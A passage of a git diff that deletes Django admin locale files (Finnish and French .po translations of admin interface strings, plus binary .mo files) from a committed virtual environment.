"Suodatin" - -#, javascript-format -msgid "Choose all %s" -msgstr "" - -#, javascript-format -msgid "Choose selected %s" -msgstr "" - -#, javascript-format -msgid "Remove selected %s" -msgstr "" - -#, javascript-format -msgid "Chosen %s" -msgstr "Valitut %s" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Kirjoita tähän listaan suodattaaksesi valittujen %s-kohteiden listaa." - -msgid "(click to clear)" -msgstr "" - -#, javascript-format -msgid "Remove all %s" -msgstr "" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s valittu kohde ei näkyvissä" -msgstr[1] "%s valittua kohdetta ei näkyvissä" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s valittuna %(cnt)s mahdollisesta" -msgstr[1] "%(sel)s valittuna %(cnt)s mahdollisesta" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Sinulla on tallentamattomia muutoksia yksittäisissä muokattavissa kentissä. " -"Jos suoritat toiminnon, tallentamattomat muutoksesi katoavat." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Olet valinnut toiminnon, mutta et ole vielä tallentanut muutoksiasi " -"yksittäisiin kenttiin. Paina OK tallentaaksesi. Sinun pitää suorittaa " -"toiminto uudelleen." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Olet valinnut toiminnon etkä ole tehnyt yhtään muutosta yksittäisissä " -"kentissä. Etsit todennäköisesti Suorita-painiketta Tallenna-painikkeen " -"sijaan." - -msgid "Now" -msgstr "Nyt" - -msgid "Midnight" -msgstr "24" - -msgid "6 a.m." -msgstr "06" - -msgid "Noon" -msgstr "12" - -msgid "6 p.m." -msgstr "18:00" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Huom: Olet %s tunnin palvelinaikaa edellä." -msgstr[1] "Huom: Olet %s tuntia palvelinaikaa edellä." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Huom: Olet %s tunnin palvelinaikaa jäljessä." -msgstr[1] "Huom: Olet %s tuntia palvelinaikaa jäljessä." - -msgid "Choose a Time" -msgstr "Valitse kellonaika" - -msgid "Choose a time" -msgstr "Valitse kellonaika" - -msgid "Cancel" -msgstr "Peruuta" - -msgid "Today" -msgstr "Tänään" - -msgid "Choose a Date" -msgstr "Valitse päivämäärä" - -msgid "Yesterday" -msgstr "Eilen" - -msgid "Tomorrow" -msgstr "Huomenna" - -msgid "January" -msgstr "tammikuu" - -msgid "February" -msgstr "helmikuu" - -msgid "March" -msgstr "maaliskuu" - -msgid "April" -msgstr "huhtikuu" - -msgid "May" -msgstr "toukokuu" - -msgid "June" -msgstr "kesäkuu" - -msgid "July" -msgstr "heinäkuu" - -msgid "August" -msgstr "elokuu" - -msgid "September" -msgstr "syyskuu" - -msgid "October" -msgstr "lokakuu" - -msgid "November" -msgstr "marraskuu" - -msgid "December" -msgstr "joulukuu" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Tammi" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Helmi" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Maalis" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Huhti" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Touko" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Kesä" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Heinä" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Elo" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Syys" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Loka" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Marras" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Joulu" - -msgid "Sunday" -msgstr "Sunnuntai" - -msgid "Monday" -msgstr "Maanantai" - -msgid "Tuesday" -msgstr "Tiistai" - -msgid "Wednesday" -msgstr "Keskiviikko" - -msgid "Thursday" -msgstr "Torstai" - -msgid "Friday" -msgstr "Perjantai" - -msgid "Saturday" -msgstr "Lauantai" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Su" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Ma" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Ti" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Ke" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "To" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Pe" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "La" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "Su" - -msgctxt "one letter Monday" -msgid "M" -msgstr "Ma" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "Ti" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Ke" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "To" - -msgctxt "one letter Friday" -msgid "F" -msgstr "Pe" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "La" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/django.mo deleted file mode 100644 index 4e3757d8..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/django.po deleted file mode 100644 index ad216ba0..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/django.po +++ /dev/null @@ -1,812 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bruno Brouard , 2021 -# Claude Paroz , 2013-2025 -# Claude Paroz , 2011,2013 -# Jannis Leidel , 2011 -# Sébastien Corbin , 2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Sébastien Corbin , 2025\n" -"Language-Team: French (http://app.transifex.com/django/django/language/fr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fr\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Supprimer les %(verbose_name_plural)s sélectionnés" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "La suppression de %(count)d %(items)s a réussi." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Impossible de supprimer %(name)s" - -msgid "Delete multiple objects" -msgstr "Supprimer plusieurs objets" - -msgid "Administration" -msgstr "Administration" - -msgid "All" -msgstr "Tout" - -msgid "Yes" -msgstr "Oui" - -msgid "No" -msgstr "Non" - -msgid "Unknown" -msgstr "Inconnu" - -msgid "Any date" -msgstr "Toutes les dates" - -msgid "Today" -msgstr "Aujourd’hui" - -msgid "Past 7 days" -msgstr "Les 7 derniers jours" - -msgid "This month" -msgstr "Ce mois-ci" - -msgid "This year" -msgstr "Cette année" - -msgid "No date" -msgstr "Aucune date" - -msgid "Has date" -msgstr "Possède une date" - -msgid "Empty" -msgstr "Vide" - -msgid "Not empty" -msgstr "Non vide" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Veuillez compléter correctement les champs « %(username)s » et « mot de " -"passe » d'un compte autorisé. Sachez que les deux champs peuvent être " -"sensibles à la casse." - -msgid "Action:" -msgstr "Action :" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Ajouter un objet %(verbose_name)s supplémentaire" - -msgid "Remove" -msgstr "Enlever" - -msgid "Addition" -msgstr "Ajout" - -msgid "Change" -msgstr "Modification" - -msgid "Deletion" -msgstr "Suppression" - -msgid "action time" -msgstr "date de l’action" - -msgid "user" -msgstr "utilisateur" - -msgid "content type" -msgstr "type de contenu" - -msgid "object id" -msgstr "id de l’objet" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "représentation de l’objet" - -msgid "action flag" -msgstr "indicateur de l’action" - -msgid "change message" -msgstr "message de modification" - -msgid "log entry" -msgstr "entrée d’historique" - -msgid "log entries" -msgstr "entrées d’historique" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Ajout de « %(object)s »." - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Modification de « %(object)s » — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Suppression de « %(object)s »." - -msgid "LogEntry Object" -msgstr "Objet de journal" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Ajout de {name} « {object} »." - -msgid "Added." -msgstr "Ajout." - -msgid "and" -msgstr "et" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "Modification de {fields} pour l'objet {name} « {object} »." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "Modification de {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Suppression de {name} « {object} »." - -msgid "No fields changed." -msgstr "Aucun champ modifié." - -msgid "None" -msgstr "Aucun(e)" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" -"Maintenez appuyé « Ctrl », ou « Commande (touche pomme) » sur un Mac, pour " -"en sélectionner plusieurs." - -msgid "Select this object for an action - {}" -msgstr "Choisir cet objet pour une action - {}" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "L'objet {name} « {obj} » a été ajouté avec succès." - -msgid "You may edit it again below." -msgstr "Vous pouvez l’éditer à nouveau ci-dessous." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"L’objet {name} « {obj} » a été ajouté avec succès. Vous pouvez ajouter un " -"autre objet « {name} » ci-dessous." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"L’objet {name} « {obj} » a été modifié avec succès. Vous pouvez l’éditer à " -"nouveau ci-dessous." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"L’objet {name} « {obj} » a été modifié avec succès. Vous pouvez ajouter un " -"autre objet {name} ci-dessous." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "L’objet {name} « {obj} » a été modifié avec succès." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Des éléments doivent être sélectionnés afin d’appliquer les actions. Aucun " -"élément n’a été modifié." - -msgid "No action selected." -msgstr "Aucune action sélectionnée." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "L’objet %(name)s « %(obj)s » a été supprimé avec succès." - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" -"%(name)s avec l’identifiant « %(key)s » n’existe pas. Peut-être a-t-il été " -"supprimé ?" - -#, python-format -msgid "Add %s" -msgstr "Ajout de %s" - -#, python-format -msgid "Change %s" -msgstr "Modification de %s" - -#, python-format -msgid "View %s" -msgstr "Affichage de %s" - -msgid "Database error" -msgstr "Erreur de base de données" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s objet %(name)s a été modifié avec succès." -msgstr[1] "%(count)s objets %(name)s ont été modifiés avec succès." -msgstr[2] "%(count)s objets %(name)s ont été modifiés avec succès." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s sélectionné" -msgstr[1] "Tous les %(total_count)s sélectionnés" -msgstr[2] "Tous les %(total_count)s sélectionnés" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 sur %(cnt)s sélectionné" - -msgid "Delete" -msgstr "Supprimer" - -#, python-format -msgid "Change history: %s" -msgstr "Historique des changements : %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Supprimer l’objet %(class_name)s « %(instance)s » provoquerait la " -"suppression des objets liés et protégés suivants : %(related_objects)s" - -msgid "Django site admin" -msgstr "Site d’administration de Django" - -msgid "Django administration" -msgstr "Administration de Django" - -msgid "Site administration" -msgstr "Site d’administration" - -msgid "Log in" -msgstr "Connexion" - -#, python-format -msgid "%(app)s administration" -msgstr "Administration de %(app)s" - -msgid "Page not found" -msgstr "Page non trouvée" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Nous sommes désolés, mais la page demandée est introuvable." - -msgid "Home" -msgstr "Accueil" - -msgid "Server error" -msgstr "Erreur du serveur" - -msgid "Server error (500)" -msgstr "Erreur du serveur (500)" - -msgid "Server Error (500)" -msgstr "Erreur du serveur (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" -"Une erreur est survenue. Elle a été transmise par courriel aux " -"administrateurs du site et sera corrigée dans les meilleurs délais. Merci " -"pour votre patience." - -msgid "Run the selected action" -msgstr "Exécuter l’action sélectionnée" - -msgid "Go" -msgstr "Envoyer" - -msgid "Click here to select the objects across all pages" -msgstr "Cliquez ici pour sélectionner tous les objets sur l’ensemble des pages" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Sélectionner tous les %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Effacer la sélection" - -msgid "Breadcrumbs" -msgstr "Fil d'Ariane" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modèles de l’application %(name)s" - -msgid "Model name" -msgstr "Nom du modèle" - -msgid "Add link" -msgstr "Lien pour l'ajout" - -msgid "Change or view list link" -msgstr "Lien pour modifier ou voir la liste" - -msgid "Add" -msgstr "Ajouter" - -msgid "View" -msgstr "Afficher" - -msgid "You don’t have permission to view or edit anything." -msgstr "Vous n’avez pas la permission de voir ou de modifier quoi que ce soit." - -msgid "After you’ve created a user, you’ll be able to edit more user options." -msgstr "" -"Après avoir créé un utilisateur, vous pourrez modifiez davantage de ses " -"options." - -msgid "Error:" -msgstr "Erreur :" - -msgid "Change password" -msgstr "Modifier le mot de passe" - -msgid "Set password" -msgstr "Définir un mot de passe" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "Corrigez l’erreur ci-dessous." -msgstr[1] "Corrigez les erreurs ci-dessous." -msgstr[2] "Corrigez les erreurs ci-dessous." - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Saisissez un nouveau mot de passe pour l’utilisateur %(username)s." - -msgid "" -"This action will enable password-based authentication for " -"this user." -msgstr "" -"Cette action va activer l'authentification par mot de passe " -"pour cet utilisateur." - -msgid "Disable password-based authentication" -msgstr "Désactiver l'authentification par mot de passe" - -msgid "Enable password-based authentication" -msgstr "Activer l'authentification par mot de passe" - -msgid "Skip to main content" -msgstr "Passer au contenu principal" - -msgid "Welcome," -msgstr "Bienvenue," - -msgid "View site" -msgstr "Voir le site" - -msgid "Documentation" -msgstr "Documentation" - -msgid "Log out" -msgstr "Déconnexion" - -#, python-format -msgid "Add %(name)s" -msgstr "Ajouter %(name)s" - -msgid "History" -msgstr "Historique" - -msgid "View on site" -msgstr "Voir sur le site" - -msgid "Filter" -msgstr "Filtre" - -msgid "Hide counts" -msgstr "Masquer les nombres" - -msgid "Show counts" -msgstr "Afficher les nombres" - -msgid "Clear all filters" -msgstr "Effacer tous les filtres" - -msgid "Remove from sorting" -msgstr "Enlever du tri" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Priorité de tri : %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Inverser le tri" - -msgid "Toggle theme (current theme: auto)" -msgstr "Changer de thème (actuellement : automatique)" - -msgid "Toggle theme (current theme: light)" -msgstr "Changer de thème (actuellement : clair)" - -msgid "Toggle theme (current theme: dark)" -msgstr "Changer de thème (actuellement : sombre)" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Supprimer l’objet %(object_name)s « %(escaped_object)s » provoquerait la " -"suppression des objets qui lui sont liés, mais votre compte ne possède pas " -"la permission de supprimer les types d’objets suivants :" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Supprimer l’objet %(object_name)s « %(escaped_object)s » provoquerait la " -"suppression des objets liés et protégés suivants :" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Voulez-vous vraiment supprimer l’objet %(object_name)s " -"« %(escaped_object)s » ? Les éléments suivants sont liés à celui-ci et " -"seront aussi supprimés :" - -msgid "Objects" -msgstr "Objets" - -msgid "Yes, I’m sure" -msgstr "Oui, je suis sûr" - -msgid "No, take me back" -msgstr "Non, revenir à la page précédente" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"La suppression des objets %(objects_name)s sélectionnés provoquerait la " -"suppression d’objets liés, mais votre compte n’est pas autorisé à supprimer " -"les types d’objet suivants :" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"La suppression des objets %(objects_name)s sélectionnés provoquerait la " -"suppression des objets liés et protégés suivants :" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Voulez-vous vraiment supprimer les objets %(objects_name)s sélectionnés ? " -"Tous les objets suivants et les éléments liés seront supprimés :" - -msgid "Delete?" -msgstr "Supprimer ?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " Par %(filter_title)s " - -msgid "Summary" -msgstr "Résumé" - -msgid "Recent actions" -msgstr "Actions récentes" - -msgid "My actions" -msgstr "Mes actions" - -msgid "None available" -msgstr "Aucun(e) disponible" - -msgid "Added:" -msgstr "Ajout :" - -msgid "Changed:" -msgstr "Modif. :" - -msgid "Deleted:" -msgstr "Suppr. :" - -msgid "Unknown content" -msgstr "Contenu inconnu" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"L’installation de votre base de données est incorrecte. Vérifiez que les " -"tables utiles ont été créées, et que la base est accessible par " -"l’utilisateur concerné." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Vous êtes authentifié sous le nom %(username)s, mais vous n’êtes pas " -"autorisé à accéder à cette page. Souhaitez-vous vous connecter avec un autre " -"compte utilisateur ?" - -msgid "Forgotten your login credentials?" -msgstr "Identifiants de connexion oubliés ?" - -msgid "Toggle navigation" -msgstr "Basculer la navigation" - -msgid "Sidebar" -msgstr "Barre latérale" - -msgid "Start typing to filter…" -msgstr "Écrivez ici pour filtrer…" - -msgid "Filter navigation items" -msgstr "Filtrer les éléments de navigation" - -msgid "Date/time" -msgstr "Date/heure" - -msgid "User" -msgstr "Utilisateur" - -msgid "Action" -msgstr "Action" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "entrée" -msgstr[1] "entrées" -msgstr[2] "entrées" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" -"Cet objet n’a pas d’historique de modification. Il n’a probablement pas été " -"ajouté au moyen de ce site d’administration." - -msgid "Show all" -msgstr "Tout afficher" - -msgid "Save" -msgstr "Enregistrer" - -msgid "Popup closing…" -msgstr "Fenêtre en cours de fermeture…" - -msgid "Search" -msgstr "Rechercher" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s résultat" -msgstr[1] "%(counter)s résultats" -msgstr[2] "%(counter)s résultats" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s résultats" - -msgid "Save as new" -msgstr "Enregistrer en tant que nouveau" - -msgid "Save and add another" -msgstr "Enregistrer et ajouter un nouveau" - -msgid "Save and continue editing" -msgstr "Enregistrer et continuer les modifications" - -msgid "Save and view" -msgstr "Enregistrer et afficher" - -msgid "Close" -msgstr "Fermer" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Modifier l’objet %(model)s sélectionné" - -#, python-format -msgid "Add another %(model)s" -msgstr "Ajouter un autre objet %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Supprimer l’objet %(model)s sélectionné" - -#, python-format -msgid "View selected %(model)s" -msgstr "Afficher l'objet %(model)s sélectionné" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "Merci pour le temps que vous avez accordé à ce site aujourd’hui." - -msgid "Log in again" -msgstr "Connectez-vous à nouveau" - -msgid "Password change" -msgstr "Modification du mot de passe" - -msgid "Your password was changed." -msgstr "Votre mot de passe a été modifié." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Pour des raisons de sécurité, saisissez votre ancien mot de passe puis votre " -"nouveau mot de passe à deux reprises afin de vérifier qu’il est correctement " -"saisi." - -msgid "Change my password" -msgstr "Modifier mon mot de passe" - -msgid "Password reset" -msgstr "Réinitialisation du mot de passe" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"Votre mot de passe a été défini. Vous pouvez maintenant vous authentifier." - -msgid "Password reset confirmation" -msgstr "Confirmation de mise à jour du mot de passe" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Saisissez deux fois votre nouveau mot de passe afin de vérifier qu’il est " -"correctement saisi." - -msgid "New password:" -msgstr "Nouveau mot de passe :" - -msgid "Confirm password:" -msgstr "Confirmation du mot de passe :" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Le lien de mise à jour du mot de passe n’était pas valide, probablement en " -"raison de sa précédente utilisation. Veuillez renouveler votre demande de " -"mise à jour de mot de passe." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Nous vous avons envoyé par courriel les instructions pour changer de mot de " -"passe, pour autant qu’un compte existe avec l’adresse que vous avez " -"indiquée. Vous devriez recevoir rapidement ce message." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Si vous ne recevez pas de message, vérifiez que vous avez saisi l’adresse " -"avec laquelle vous vous êtes enregistré et contrôlez votre dossier de " -"pourriels." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Vous recevez ce message en réponse à votre demande de réinitialisation du " -"mot de passe de votre compte sur %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "" -"Veuillez vous rendre sur cette page et choisir un nouveau mot de passe :" - -msgid "In case you’ve forgotten, you are:" -msgstr "Au cas où vous l'auriez oublié, vous êtes :" - -msgid "Thanks for using our site!" -msgstr "Merci d’utiliser notre site !" - -#, python-format -msgid "The %(site_name)s team" -msgstr "L’équipe %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Mot de passe perdu ? Saisissez votre adresse électronique ci-dessous et nous " -"vous enverrons les instructions pour en créer un nouveau." - -msgid "Email address:" -msgstr "Adresse électronique :" - -msgid "Reset my password" -msgstr "Réinitialiser mon mot de passe" - -msgid "Select all objects on this page for an action" -msgstr "Sélectionner tous les objets de cette page en vue d’une action" - -msgid "All dates" -msgstr "Toutes les dates" - -#, python-format -msgid "Select %s" -msgstr "Sélectionnez %s" - -#, python-format -msgid "Select %s to change" -msgstr "Sélectionnez l’objet %s à changer" - -#, python-format -msgid "Select %s to view" -msgstr "Sélectionnez l’objet %s à afficher" - -msgid "Date:" -msgstr "Date :" - -msgid "Time:" -msgstr "Heure :" - -msgid "Lookup" -msgstr "Recherche" - -msgid "Currently:" -msgstr "Actuellement :" - -msgid "Change:" -msgstr "Modifier :" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 218199d4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/djangojs.po deleted file mode 100644 index e752039a..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/fr/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,322 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Claude Paroz , 2014-2017,2020-2023,2025 -# Claude Paroz , 2011-2012 -# Jannis Leidel , 2011 -# Sébastien Corbin , 2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-25 15:04-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Sébastien Corbin , 2025\n" -"Language-Team: French (http://app.transifex.com/django/django/language/fr/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: fr\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s disponible(s)" - -#, javascript-format -msgid "" -"Choose %s by selecting them and then select the \"Choose\" arrow button." -msgstr "" -"Choisissez %s en les sélectionnant puis cliquez sur le bouton flèche " -"« Choisir »." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Écrivez dans cette zone pour filtrer la liste des « %s » disponibles." - -msgid "Filter" -msgstr "Filtrer" - -#, javascript-format -msgid "Choose all %s" -msgstr "Choisir toutes les valeurs « %s »" - -#, javascript-format -msgid "Choose selected %s" -msgstr "Choisir les valeurs « %s » sélectionnées" - -#, javascript-format -msgid "Remove selected %s" -msgstr "Enlever les valeurs « %s » sélectionnées" - -#, javascript-format -msgid "Chosen %s" -msgstr "Choix des « %s »" - -#, javascript-format -msgid "" -"Remove %s by selecting them and then select the \"Remove\" arrow button." -msgstr "" -"Enlevez les valeurs « %s » en les sélectionnant puis en cliquant sur le " -"bouton flèche « Enlever »." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "" -"Écrivez dans cette zone pour filtrer la liste des « %s » sélectionné·e·s." - -msgid "(click to clear)" -msgstr "(cliquer pour effacer)" - -#, javascript-format -msgid "Remove all %s" -msgstr "Enlever toutes les valeurs « %s »" - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s option sélectionnée invisible" -msgstr[1] "%s options sélectionnées invisibles" -msgstr[2] "%s options sélectionnées invisibles" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s sur %(cnt)s sélectionné" -msgstr[1] "%(sel)s sur %(cnt)s sélectionnés" -msgstr[2] "%(sel)s sur %(cnt)s sélectionnés" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Vous avez des modifications non sauvegardées sur certains champs éditables. " -"Si vous lancez une action, ces modifications vont être perdues." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Vous avez sélectionné une action, mais vous n'avez pas encore enregistré " -"certains champs modifiés. Cliquez sur OK pour enregistrer. Vous devrez " -"réappliquer l'action." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Vous avez sélectionné une action, et vous n'avez fait aucune modification " -"sur des champs. Vous cherchez probablement le bouton Envoyer et non le " -"bouton Enregistrer." - -msgid "Now" -msgstr "Maintenant" - -msgid "Midnight" -msgstr "Minuit" - -msgid "6 a.m." -msgstr "6:00" - -msgid "Noon" -msgstr "Midi" - -msgid "6 p.m." -msgstr "18:00" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Note : l'heure du serveur précède votre heure de %s heure." -msgstr[1] "Note : l'heure du serveur précède votre heure de %s heures." -msgstr[2] "Note : l'heure du serveur précède votre heure de %s heures." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Note : votre heure précède l'heure du serveur de %s heure." -msgstr[1] "Note : votre heure précède l'heure du 